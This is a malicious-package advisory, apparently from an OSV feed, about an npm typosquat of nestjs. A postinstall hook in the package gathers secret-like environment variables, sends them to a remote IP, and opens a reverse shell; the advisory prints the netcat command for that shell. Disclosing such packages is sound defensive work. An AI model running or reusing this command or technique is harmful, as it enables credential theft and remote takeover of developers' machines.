OSV ID
MAL-2026-15909
Ecosystem
npm
Summary
Package name typosquats nestjs and declares postinstall: node index.js in package.json, so index.js runs automatically during npm install. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes nc -e /bin/sh 84.32.22.44 9999, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot").
Source: amazon-inspector (71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.